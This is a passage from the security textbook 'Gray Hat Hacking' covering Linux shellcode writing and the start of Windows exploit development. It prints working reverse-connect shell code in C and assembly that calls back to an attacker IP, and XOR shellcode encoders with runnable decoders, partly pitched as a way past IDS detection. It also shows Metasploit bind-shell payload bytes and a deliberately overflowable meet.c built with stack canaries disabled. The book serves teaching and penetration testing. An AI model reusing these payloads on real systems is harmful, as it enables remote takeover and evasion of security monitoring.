Zillion, “Writing Shellcode” www.safemode.org/files/zillion/shellcode/doc/Writing_
shellcode.html
Sean Walton, Linux Socket Programming (Indianapolis: SAMS Publishing, 2001)
Implementing Reverse Connecting Shellcode
The last section was nice, but what if the vulnerable system sits behind a firewall and the
attacker cannot connect to the exploited system on a new port? As discussed in the previous
chapter, attackers will then use another technique: have the exploited system connect
back to the attacker on a particular IP and port. This is referred to as a reverse
connecting shell.
Reverse Connecting C Program
The good news is that we only need to change a few things from our previous port binding
code:
1. Replace bind, listen, and accept functions with a connect.
2. Add the destination address to the sockaddr structure.
3. Duplicate the stdin, stdout, and stderr to the open socket, not the client as
before.
Gray Hat Hacking: The Ethical Hacker’s Handbook
228
Chapter 10: Writing Linux Shellcode
229
PART III
Therefore, the reverse connecting code looks like:
$ cat reverse_connect.c
#include //same includes of header files as before
#include
int main()
{
char * shell[2];
int soc,remote; //same declarations as last time
struct sockaddr_in serv_addr;
serv_addr.sin_family=2; // same setup of the sockaddr_in
serv_addr.sin_addr.s_addr=0x650A0A0A; //10.10.10.101
serv_addr.sin_port=0xBBBB; // port 48059
soc=socket(2,1,0);
remote = connect(soc, (struct sockaddr*)&serv_addr,0x10);
dup2(soc,0); //notice the change, we dup to the socket
dup2(soc,1); //notice the change, we dup to the socket
dup2(soc,2); //notice the change, we dup to the socket
shell[0]="/bin/sh"; //normal set up for execve
shell[1]=0;
execve(shell[0],shell,0); //boom!
}
CAUTION The previous code has hard-coded values in it.You may need to
change the IP given before compiling in order for this example to work on your
system. If you use an IP that has a 0 in an octet (for example, 127.0.0.1), the
resulting shellcode will contain a NULL byte and not work in an exploit.To create
the IP, simply convert each octet to hex and place them in reverse order (byte by byte).
Now that we have new C code, let’s test it by firing up a listener shell on our system at
IP 10.10.10.101:
$ nc -nlvv -p 48059
listening on [any] 48059 ...
The -nlvv flags prevent DNS resolution, set up a listener, and set netcat to very verbose
mode.
Now compile the new program and execute it:
# gcc -o reverse_connect reverse_connect.c
# ./reverse_connect
Onthe listener shell, you should see a connection. Go ahead and issue a test command:
connect to [10.10.10.101] from (UNKNOWN) [10.10.10.101] 38877
id;
uid=0(root) gid=0(root) groups=0(root)
It worked!
Gray Hat Hacking: The Ethical Hacker’s Handbook
230
Reverse Connecting Assembly Program
Again,we will simply modify our previous port_bind_asm.asm example to produce the
desired effect:
$ cat ./reverse_connect_asm.asm
BITS 32
section .text
global _start
_start:
xor eax,eax ;clear eax
xor ebx,ebx ;clear ebx
xor edx,edx ;clear edx
;socket(2,1,0)
push eax ; third arg to socket: 0
push byte 0x1 ; second arg to socket: 1
push byte 0x2 ; first arg to socket: 2
mov ecx,esp ; move the ptr to the args to ecx (2nd arg to socketcall)
inc bl ; set first arg to socketcall to # 1
mov al,102 ; call socketcall # 1: SYS_SOCKET
int 0x80 ; jump into kernel mode, execute the syscall
mov esi,eax ; store the return value (eax) into esi
;the next block replaces the bind, listen, and accept calls with connect
;client=connect(server,(struct sockaddr *)&serv_addr,0x10)
push edx ; still zero, used to terminate the next value pushed
push long 0x650A0A0A ; extra this time, push the address in reverse hex
push word 0xBBBB ; push the port onto the stack, 48059 in decimal
xor ecx, ecx ; clear ecx to hold the sa_family field of struck
mov cl,2 ; move single byte:2 to the low order byte of ecx
push word cx ; ; build struct, use port,sin.family:0002 four bytes
mov ecx,esp ; move addr struct (on stack) to ecx
push byte 0x10 ; begin the connect args, push 16 stack
push ecx ; save address of struct back on stack
push esi ; save server file descriptor (esi) to stack
mov ecx,esp ; store ptr to args to ecx (2nd arg of socketcall)
mov bl,3 ; set bl to # 3, first arg of socketcall
mov al,102 ; call socketcall # 3: SYS_CONNECT
int 0x80 ; jump into kernel mode, execute the syscall
; prepare for dup2 commands, need client file handle saved in ebx
mov ebx,esi ; copied soc file descriptor of client to ebx
;dup2(soc, 0)
xor ecx,ecx ; clear ecx
mov al,63 ; set first arg of syscall to 63: dup2
int 0x80 ; jump into
;dup2(soc, 1)
inc ecx ; increment ecx to 1
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
Chapter 10: Writing Linux Shellcode
231
PART III
;dup2(soc, 2)
inc ecx ; increment ecx to 2
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;standard execve("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 0x80
As with the C program, this assembly program simply replaces the bind, listen, and
accept system calls with a connect system call instead. There are a few other things to
note. First, we have pushed the connecting address to the stack prior to the port. Next,
notice how the port has been pushed onto the stack, and then how a clever trick is used
to push the value 0x0002 onto the stack without using assembly instructions that will
yield NULL characters in the final hex opcodes. Finally, notice how the dup2 system
calls work on the socket itself, not the client handle as before.
Okay, let’s try it:
$ nc -nlvv -p 48059
listening on [any] 48059 ...
In another shell, assemble, link, and launch the binary:
$ nasm -f elf reverse_connect_asm.asm
$ ld -o port_connect reverse_connect_asm.o
$ ./reverse_connect_asm
Again, if everything worked well, you should see a connect in your listener shell.
Issue a test command:
connect to [10.10.10.101] from (UNKNOWN) [10.10.10.101] 38877
id;
uid=0(root) gid=0(root) groups=0(root)
It will be left as an exercise for the reader to extract the hex opcodes and test the resulting
shellcode.
References
Smashing the Stack…, Aleph One www.phrack.org/archives/49/P49-14
Smiler, Writing Shellcode http://community.corest.com/~juliano/art-shellcode.txt
Zillion www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html
Sean Walton, Linux Socket Programming (Indianapolis: SAMS Publishing, 2001)
Linux Reverse Shell www.packetstormsecurity.org/shellcode/connect-back.c
Gray Hat Hacking: The Ethical Hacker’s Handbook
232
Encoding Shellcode
Some of the many reasons to encode shellcode include
• Avoiding bad characters (\x00, \xa9, etc.)
• Avoiding detection of IDS or other network-based sensors
• Conforming to string filters, for example, tolower
In this section, we will cover encoding of shellcode to include examples.
Simple XOR Encoding
A simple parlor trick of computer science is the “exclusive or” (XOR) function. The XOR
function works like this:
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0
The result of the XOR function (as its name implies) is true (Boolean 1) if and only if
one of the inputs is true. If both of the inputs are true, then the result is false. The XOR
function is interesting because it is reversible, meaning if you XOR a number (bitwise)
with another number twice, you get the original number back as a result. For example:
In binary, we can encode 5(101) with the key 4(100): 101 XOR 100 = 001
And to decode the number, we repeat with the same key(100): 001 XOR 100 = 101
In this case, we start with the number 5 in binary (101) and we XOR it with a key of 4
in binary (100). The result is the number 1 in binary (001). To get our original number
back, we can repeat the XOR operation with the same key (100).
The reversible characteristics of the XOR function make it a great candidate for encoding
and basic encryption. You simply encode a string at the bit level by performing the
XOR function with a key. Later you can decode it by performing the XOR function with
the same key.
Structure of Encoded Shellcode
When shellcode is encoded, a decoder needs to be placed on the front of the shellcode.
This decoder will execute first and decode the shellcode before passing execution to the
decoded shellcode. The structure of encoded shellcode looks like:
[decoder] [encoded shellcode]
NOTE It is important to realize that the decoder needs to adhere to the
same limitations you are trying to avoid by encoding the shellcode in the first
place. For example, if you are trying to avoid a bad character, say 0x00, then
the decoder cannot have that byte either.
JMP/CALL XOR Decoder Example
The decoder needs to know its own location so it can calculate the location of the
encoded shellcode and start decoding. There are many ways to determine the location of
the decoder, often referred to as GETPC. One of the most common GETPC techniques is
the JMP/CALL technique.We start with a JMP instruction forward to a CALL instruction,
which is located just before the start of the encoded shellcode. The CALL instruction will
push the address of the next address (the beginning of the encoded shellcode) onto the
stack and jump back to the next instruction (right after the original JMP). At that point,
we can pop the location of the encoded shellcode off the stack and store it in a register
for use when decoding. For example:
BT book # cat jmpcall.asm
[BITS 32]
global _start
_start:
jmp short call_point ; 1. JMP to CALL
begin:
pop esi ; 3. pop shellcode loc into esi for use in encoding
xor ecx,ecx ; 4. clear ecx
mov cl,0x0 ; 5. place holder (0x0) for size of shellcode
short_xor:
xor byte[esi],0x0 ; 6. XOR byte from esi with key (0x0=placeholder)
inc esi ; 7. increment esi pointer to next byte
loop short_xor ; 8. repeat to 6 until shellcode is decoded
jmp short shellcode ; 9. jump over call into decoded shellcode
call_point:
call begin ; 2. CALL back to begin, push shellcode loc on stack
shellcode: ; 10. decoded shellcode executes
; the decoded shellcode goes here.
You can see the JMP/CALL sequence in the preceding code. The location of the encoded
shellcode is popped off the stack and stored in esi. ecx is cleared and the size of
the shellcode is stored there. For now we use the placeholder of 0x00 for the size of our
shellcode. Later we will overwrite that value with our encoder. Next the shellcode is
decoded byte by byte. Notice the loop instruction will decrement ecx automatically on
each call to LOOP and ends automatically when ecx = 0x0. After the shellcode is
decoded, the program JMPs into the decoded shellcode.
Let’s assemble, link, and dump the binary OPCODE of the program.
BT book # nasm -f elf jmpcall.asm
BT book # ld -o jmpcall jmpcall.o
BT book # objdump -d ./jmpcall
./jmpcall: file format elf32-i386
Disassembly of section .text:
Chapter 10: Writing Linux Shellcode
233
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
234
08048080 <_start>:
8048080: eb 0d jmp 804808f
08048082 :
8048082: 5e pop %esi
8048083: 31 c9 xor %ecx,%ecx
8048085: b1 00 mov $0x0,%cl
08048087 :
8048087: 80 36 00 xorb $0x0,(%esi)
804808a: 46 inc %esi
804808b: e2 fa loop 8048087
804808d: eb 05 jmp 8048094
0804808f :
804808f: e8 ee ff ff ff call 8048082
BT book #
The binary representation (in hex) of our JMP/CALL decoder is
decoder[] =
"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff"
We will have to replace the NULL bytes just shown with the length of our shellcode and
the key to decode with, respectively.
FNSTENV XOR Example
Another popular GETPC technique is to use the FNSTENV assembly instruction as
described by Noir. The FNSTENV instruction writes a 32-byte Floating Point Unit (FPU)
environment record to the memory address specified by the operand.
The FPU environment record is a structure defined as user_fpregs_struct in /usr/
include/sys/user.h and contains the members (at offsets):
• 0 Control word
• 4 Status word
• 8 Tag word
• 12 Last FPU Instruction Pointer
• Other fields
As you can see, the 12th byte of the FPU environment record contains the Extended
Instruction Pointer (EIP) of the last FPU instruction called. So, in the following example,
we will first call an innocuous FPU instruction (FABS), and then call the FNSTENV
command to extract the EIP of the FABS command.
Since the eip is located 12 bytes inside the returned FPU record, we will write the
record 12 bytes before the top of the stack (ESP-0x12), which will place the eip value at
Chapter 10: Writing Linux Shellcode
235
PART III
the top of our stack. Then we will pop the value off the stack into a register for use during
decoding.
BT book # cat ./fnstenv.asm
[BITS 32]
global _start
_start:
fabs ;1. innocuous FPU instruction
fnstenv [esp-0xc] ;2. dump FPU environ. record at ESP-12
pop edx ;3. pop eip of fabs FPU instruction to edx
add dl, 00 ;4. offset from fabs -> xor buffer
(placeholder)
short_xor_beg:
xor ecx,ecx ;5. clear ecx to use for loop
mov cl, 0x18 ;6. size of xor'd payload
short_xor_xor:
xor byte [edx], 0x00 ;7. the byte to xor with (key placeholder)
inc edx ;8. increment EDX to next byte
loop short_xor_xor ;9. loop through all of shellcode
shellcode:
; the decoded shellcode goes here.
Once we obtain the location of FABS (line 3 preceding), we have to adjust it to point to
the beginning of the decoded shellcode. Now let’s assemble, link, and dump the
opcodes of the decoder.
BT book # nasm -f elf fnstenv.asm
BT book # ld -o fnstenv fnstenv.o
BT book # objdump -d ./fnstenv
./fnstenv2: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: d9 e1 fabs
8048082: d9 74 24 f4 fnstenv 0xfffffff4(%esp)
8048086: 5a pop %edx
8048087: 80 c2 00 add $0x0,%dl
0804808a :
804808a: 31 c9 xor %ecx,%ecx
804808c: b1 18 mov $0x18,%cl
0804808e :
804808e: 80 32 00 xorb $0x0,(%edx)
8048091: 42 inc %edx
8048092: e2 fa loop 804808e
BT book #
Our FNSTENV decoder can be represented in binary as follows:
char decoder[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x00\x31"
"\xc9\xb1\x18\x80\x32\x00\x42\xe2\xfa";
Putting It All Together
We will now put it together and build a FNSTENV encoder and decoder test program.
BT book # cat encoder.c
#include
#include
#include
int getnumber(int quo) { //random number generator function
int seed;
struct timeval tm;
gettimeofday( &tm, NULL );
seed = tm.tv_sec + tm.tv_usec;
srandom( seed );
return (random() % quo);
}
void execute(char *data){ //test function to execute encoded shellcode
printf("Executing...\n");
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)data;
}
void print_code(char *data) { //prints out the shellcode
int i,l = 15;
for (i = 0; i < strlen(data); ++i) {
if (l >= 15) {
if (i)
printf("\"\n");
printf("\t\"");
l = 0;
}
++l;
printf("\\x%02x", ((unsigned char *)data)[i]);
}
printf("\";\n\n");
}
int main() { //main function
char shellcode[] = //original shellcode
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int count;
int number = getnumber(200); //random number generator
int badchar = 0; //used as flag to check for bad chars
int ldecoder; //length of decoder
int lshellcode = strlen(shellcode); //store length of shellcode
char *result;
Gray Hat Hacking: The Ethical Hacker’s Handbook
236
PART III
//simple fnstenv xor decoder, NULL are overwritten with length and key.
char decoder[] = "\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x00\x31"
"\xc9\xb1\x18\x80\x32\x00\x42\xe2\xfa";
printf("Using the key: %d to xor encode the shellcode\n",number);
decoder[9] += 0x14; //length of decoder
decoder[16] += number; //key to encode with
ldecoder = strlen(decoder); //calculate length of decoder
printf("\nchar original_shellcode[] =\n");
print_code(shellcode);
do { //encode the shellcode
if(badchar == 1) { //if bad char, regenerate key
number = getnumber(10);
decoder[16] += number;
badchar = 0;
}
for(count=0; count < lshellcode; count++) { //loop through shellcode
shellcode[count] = shellcode[count] ^ number; //xor encode byte
if(shellcode[count] == '\0') { // other bad chars can be listed here
badchar = 1; //set bad char flag, will trigger redo
}
}
} while(badchar == 1); //repeat if badchar was found
result = malloc(lshellcode + ldecoder);
strcpy(result,decoder); //place decoder in front of buffer
strcat(result,shellcode); //place encoded shellcode behind decoder
printf("\nchar encoded[] =\n"); //print label
print_code(result); //print encoded shellcode
execute(result); //execute the encoded shellcode
}
BT book #
Now compile it and launch it three times.
BT book # gcc -o encoder encoder.c
BT book # ./encoder
Using the key: 149 to xor encode the shellcode
char original_shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
char encoded[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x14\x31\xc9\xb1\x18\x80"
"\x32\x95\x42\xe2\xfa\xa4\x55\x0c\xc7\xfd\xba\xba\xe6\xfd\xfd"
"\xba\xf7\xfc\xfb\x1c\x76\xc5\xc6\x1c\x74\x25\x9e\x58\x15";
Executing...
sh-3.1# exit
exit
BT book # ./encoder
Using the key: 104 to xor encode the shellcode
Chapter 10: Writing Linux Shellcode
237
Gray Hat Hacking: The Ethical Hacker’s Handbook
238
char original_shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
char encoded[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x14\x31\xc9\xb1\x18\x80"
"\x32\x6f\x42\xe2\xfa\x5e\xaf\xf6\x3d\x07\x40\x40\x1c\x07\x07"
"\x40\x0d\x06\x01\xe6\x8c\x3f\x3c\xe6\x8e\xdf\x64\xa2\xef";
Executing...
sh-3.1# exit
exit
BT book # ./encoder
Using the key: 96 to xor encode the shellcode
char original_shellcode[] =
"\x31\xc0\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
char encoded[] =
"\xd9\xe1\xd9\x74\x24\xf4\x5a\x80\xc2\x14\x31\xc9\xb1\x18\x80"
"\x32\x60\x42\xe2\xfa\x51\xa0\xf9\x32\x08\x4f\x4f\x13\x08\x08"
"\x4f\x02\x09\x0e\xe9\x83\x30\x33\xe9\x81\xd0\x6b\xad\xe0";
Executing...
sh-3.1# exit
exit
BT book #
As you can see, the original shellcode is encoded and appended to the decoder. The
decoder is overwritten at runtime to replace the NULL bytes with length and key respectively.
As expected, each time the program is executed, a new set of encoded shellcode is
generated. However, most of the decoder remains the same.
There are ways to add some entropy to the decoder. Portions of the decoder may be
done in multiple ways. For example, instead of using the add instruction, we could have
used the sub instruction. Likewise, we could have used any number of FPU instructions
instead of FABS. So, we can break down the decoder into smaller interchangeable parts
and randomly piece them together to accomplish the same task and obtain some level
of change on each execution.
Automating Shellcode Generation
with Metasploit
Nowthat you have learned “long division,” let’s showyou howto use the “calculator.” The
Metasploit package comes with tools to assist in shellcode generation and encoding.
Generating Shellcode with Metasploit
The msfpayload command is supplied with Metasploit and automates the generation of
shellcode.
allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload
Usage: ./msfpayload [var=val]
Payloads:
bsd_ia32_bind BSD IA32 Bind Shell
bsd_ia32_bind_stg BSD IA32 Staged Bind Shell
bsd_ia32_exec BSD IA32 Execute Command
… truncated for brevity
linux_ia32_bind Linux IA32 Bind Shell
linux_ia32_bind_stg Linux IA32 Staged Bind Shell
linux_ia32_exec Linux IA32 Execute Command
… truncated for brevity
win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
… truncated for brevity
Notice the possible output formats:
• S Summary to include options of payload
• C C language format
• P Perl format
• R Raw format, nice for passing into msfencode and other tools
• X Export to executable format (Windows only)
We will choose the linux_ia32_bind payload. To check options, simply supply the type.
allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload linux_ia32_bind
Name: Linux IA32 Bind Shell
Version: $Revision: 1638 $
OS/CPU: linux/x86
Needs Admin: No
Multistage: No
Total Size: 84
Keys: bind
Provided By:
skape
vlad902
Available Options:
Options: Name Default Description
-------- ------ ------- -----------------------------
required LPORT 4444 Listening port for bind shell
Advanced Options:
Advanced (Msf::Payload::linux_ia32_bind):
-----------------------------------------
Description:
Listen for connection and spawn a shell
Just to showhow,we will change the local port to 3333 and use the C output format.
allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload linux_ia32_bind LPORT=3333 C
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
Chapter 10: Writing Linux Shellcode
239
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
240
"\x43\x52\x66\x68\x0d\x05\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";
Wow, that was easy!
Encoding Shellcode with Metasploit
The msfencode tool is provided by Metasploit and will encode your payload (in raw
format).
$ ./msfencode -h
Usage: ./msfencode [var=val]
Options:
-i Specify the file that contains the raw shellcode
-a The target CPU architecture for the payload
-o The target operating system for the payload
-t The output type: perl, c, or raw
-b The characters to avoid: '\x00\xFF'
-s Maximum size of the encoded data
-e Try to use this encoder first
-n Dump Encoder Information
-l List all available encoders
Now we can pipe our msfpayload output in (Raw format) into the msfencode tool, provide
a list of bad characters, and check for available encoders (-l option).
allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload linux_ia32_bind LPORT=3333 R | ./msfencode -b '\x00' -l
Encoder Name Arch Description
============================================================================
…truncated for brevity
JmpCallAdditive x86 Jmp/Call XOR Additive Feedback Decoder
…
PexAlphaNum x86 Skylined's alphanumeric encoder ported to perl
PexFnstenvMov x86 Variable-length fnstenv/mov dword xor encoder
PexFnstenvSub x86 Variable-length fnstenv/sub dword xor encoder
…
ShikataGaNai x86 You know what I'm saying, baby
…
We will select the PexFnstenvMov encoder, as we are most familiar with that.
allen@IBM-4B5E8287D50 ~/framework
$ ./msfpayload linux_ia32_bind LPORT=3333 R | ./msfencode -b '\x00' -e
PexFnste nvMov -t c
[*] Using Msf::Encoder::PexFnstenvMov with final size of 106 bytes
"\x6a\x15\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbb\xf0\x41"
"\x88\x83\xeb\xfc\xe2\xf4\x8a\x2b\x12\xcb\xe8\x9a\x43\xe2\xdd\xa8"
"\xd8\x01\x5a\x3d\xc1\x1e\xf8\xa2\x27\xe0\xb6\xf5\x27\xdb\x32\x11"
"\x2b\xee\xe3\xa0\x10\xde\x32\x11\x8c\x08\x0b\x96\x90\x6b\x76\x70"
"\x13\xda\xed\xb3\xc8\x69\x0b\x96\x8c\x08\x28\x9a\x43\xd1\x0b\xcf"
"\x8c\x08\xf2\x89\xb8\x38\xb0\xa2\x29\xa7\x94\x83\x29\xe0\x94\x92"
"\x28\xe6\x32\x13\x13\xdb\x32\x11\x8c\x08";
As you can see, that is much easier than building your own. There is also a web interface
to the msfpayload and msfencode tools. We will leave that for other chapters.
References
Noir use of FNSTENV www.securityfocus.com/archive/82/327100/30/0/threaded
JMP/CALL and FNSTENV decoders www.klake.org/~jt/encoder/#decoders
Good brief on shellcode and encoders www.secdev.org/conf/shellcodes_syscan04.pdf
Metasploit www.metasploit.com/confs/recon2005/recent_shellcode_developmentsrecon05.
pdf
Chapter 10: Writing Linux Shellcode
241
PART III
This page intentionally left blank
243
CHAPTER11 Basic Windows Exploits
In this chapter,we will show how to build basic Windows exploits.
• Compiling Windows programs
• Linking with debugging information
• Debugging Windows programs with Windows console debuggers
• Using symbols
• Disassembling Windows programs
• Debugging Windows programs with OllyDbg
• Building your first Windows exploit of meet.exe
• Real-world Windows exploit example
Up to this point in the book, we’ve been using Linux as our platform of choice because
it’s easy for most people interested in hacking to get hold of a Linux machine for experimentation.
Many of the interesting bugs you’ll want to exploit, however, are on the
more-often-used Windows platform. Luckily, the same bugs can be exploited largely the
same way on both Linux and Windows, because they are both driven by the same assembly
language underneath the hood. So in this chapter, we’ll talk about where to get the
tools to build Windows exploits, showyou howto use those tools, and recycle one of the
Linux examples from Chapter 6 by creating the same exploit on Windows.
Compiling and Debugging Windows Programs
Development tools are not included with Windows, but that doesn’t mean you need to
spend $1,000 for Visual Studio to experiment with exploit writing. (If you have it
already, great—feel free to use it for this chapter.) You can download for free the same
compiler and debugger Microsoft bundles with Visual Studio .NET 2003 Professional.
In this section,we’ll showyou howto initially set up your Windows exploitworkstation.
Compiling on Windows
The Microsoft C/C

Optimizing Compiler and Linker are available for free from http://
msdn.microsoft.com/vstudio/express/visualc/default.aspx. After a 32MB download and a
straightforward install, you’ll have a Start menu link to the Visual C++ 2005 Express Edition.
Click the shortcut to launch a command prompt with its environment configured for
Gray Hat Hacking: The Ethical Hacker’s Handbook
244
compiling code. To test it out, let’s start with the meet.c examplewe introduced in Chapter 6
and then exploited in Linux in Chapter 7. Type in the example or copy it from the Linux
machine you built it on earlier.
C:\grayhat>type hello.c
//hello.c
#include
main ( ) {
printf("Hello haxor");
}
The Windows compiler is cl.exe. Passing the compiler the name of the source file will
generate hello.exe. (Remember from Chapter 6 that compiling is simply the process of
turning human-readable source code into machine-readable binary files that can be
digested by the computer and executed.)
C:\grayhat>cl hello.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.42 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
hello.c
Microsoft (R) Incremental Linker Version 8.00.50727.42
Copyright (C) Microsoft Corporation. All rights reserved.
/out:hello.exe
hello.obj
C:\grayhat>hello.exe
Hello haxor
Pretty simple, eh? Let’s move on to build the program we’ll be exploiting later in the
chapter. Create meet.c from Chapter 6 and compile it using cl.exe.
C:\grayhat>type meet.c
//meet.c
#include
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
C:\grayhat>cl meet.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 14.00.50727.42 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
meet.c
Microsoft (R) Incremental Linker Version 8.00.50727.42
Copyright (C) Microsoft Corporation. All rights reserved.
/out:meet.exe
meet.obj
C:\grayhat>meet.exe Mr. Haxor
Hello Mr. Haxor
Bye Mr. Haxor
Chapter 11: Basic Windows Exploits
245
PART III
Windows Compiler Options
If you type in cl.exe /?, you’ll get a huge list of compiler options. Most are not interesting
to us at this point. The following table gives the flags you’ll be using in this chapter.
Option Description
/Zi Produces extra debugging information, useful when using the Windows debugger
that we’ll demonstrate later.
/Fe Similar to gcc’s -o option. The Windows compiler by default names the executable
the same as the source with .exe appended. If you want to name it something
different, specify this flag followed by the EXE name you’d like.
/GS[-] The /GS flag is on by default in Microsoft Visual Studio 2005 and provides stack
canary protection. To disable it for testing, use the /GS- flag.
Because we’re going to be using the debugger next, let’s build meet.exe with full
debugging information and disable the stack canary functions.
NOTE The /GS switch enables Microsoft’s implementation of stack canary
protection, which is quite effective in stopping buffer overflow attacks. To
learn about existing vulnerabilities in software (before this feature was
available),we will disable it with the /GS- flag.
C:\grayhat>cl /Zi /GS- meet.c
…output truncated for brevity…
C:\grayhat>meet Mr Haxor
Hello Mr Haxor
Bye Mr Haxor
Great, now that you have an executable built with debugging information, it’s time to
install the debugger and see how debugging on Windows compares with the Unix
debugging experience.
NOTE If you use the same compiler flags all the time, you may set the
command-line arguments in the environment with a set command as follows:
C:\grayhat>set CL=/Zi /GSDebugging
on Windows with Windows Console Debuggers
In addition to the free compiler, Microsoft also gives away their debugger. You can download
it from www.microsoft.com/whdc/devtools/debugging/installx86.mspx. This is a
10MB download that installs the debugger and several helpful debugging utilities.
When the debugger installation wizard prompts you for the location where you’d like
the debugger installed, choose a short directory name at the root of your drive.
Gray Hat Hacking: The Ethical Hacker’s Handbook
246
The examples in this chapter will assume your debugger is installed in c:\debuggers
(much easier to type than C:\Program Files\Debugging Tools for Windows).
C:\debuggers>dir *.exe
Volume in drive C is LOCAL DISK
Volume Serial Number is C819-53ED
Directory of C:\debuggers
05/18/2004 12:22 PM 5,632 breakin.exe
05/18/2004 12:22 PM 53,760 cdb.exe
05/18/2004 12:22 PM 64,000 dbengprx.exe
04/16/2004 06:18 PM 68,096 dbgrpc.exe
05/18/2004 12:22 PM 13,312 dbgsrv.exe
05/18/2004 12:23 PM 6,656 dumpchk.exe
…output truncated for brevity…
CDB vs. NTSD vs. WinDbg
There are actually three debuggers in the preceding list of programs. CDB (Microsoft
Console Debugger) and NTSD (Microsoft NT Symbolic Debugger) are both characterbased
console debuggers that act the sameway and respond to the same commands. The
single difference is that NTSD launches a new text window when it starts, whereas CDB
inherits the command window from which it was invoked. If anyone tells you there are
other differences between the two console debuggers, they have almost certainly been
using old versions of one or the other.
The third debugger is WinDbg, a Windows debugger with a full GUI. If you are more
comfortable using GUI applications than console-based applications, you might prefer
to use WinDbg. It, again, responds to the same commands and works the same way
under the GUI as CDB and NTSD. The advantage of using WinDbg (or any other graphical
debugger) is that you can open multiple windows, each containing different data to
monitor during your program’s execution. For example, you can open one window with
your source code, a second with the accompanying assembly instructions, and a third
with your list of breakpoints.
NOTE An older version of ntsd.exe is included with Windows in the
system32 directory. Either add to your path the directory where you installed
the new debugger earlier than your Windows system32 directory, or use the
full path when launching NTSD.
Windows Debugger Commands
If you’re already familiar with debugging, the Windows debugger will be a snap to pick
up. Here’s a table of frequently used debugger commands, specifically geared to leverage
the gdb experience you’ve gotten in this book.
Command gdb Equiv Description
bp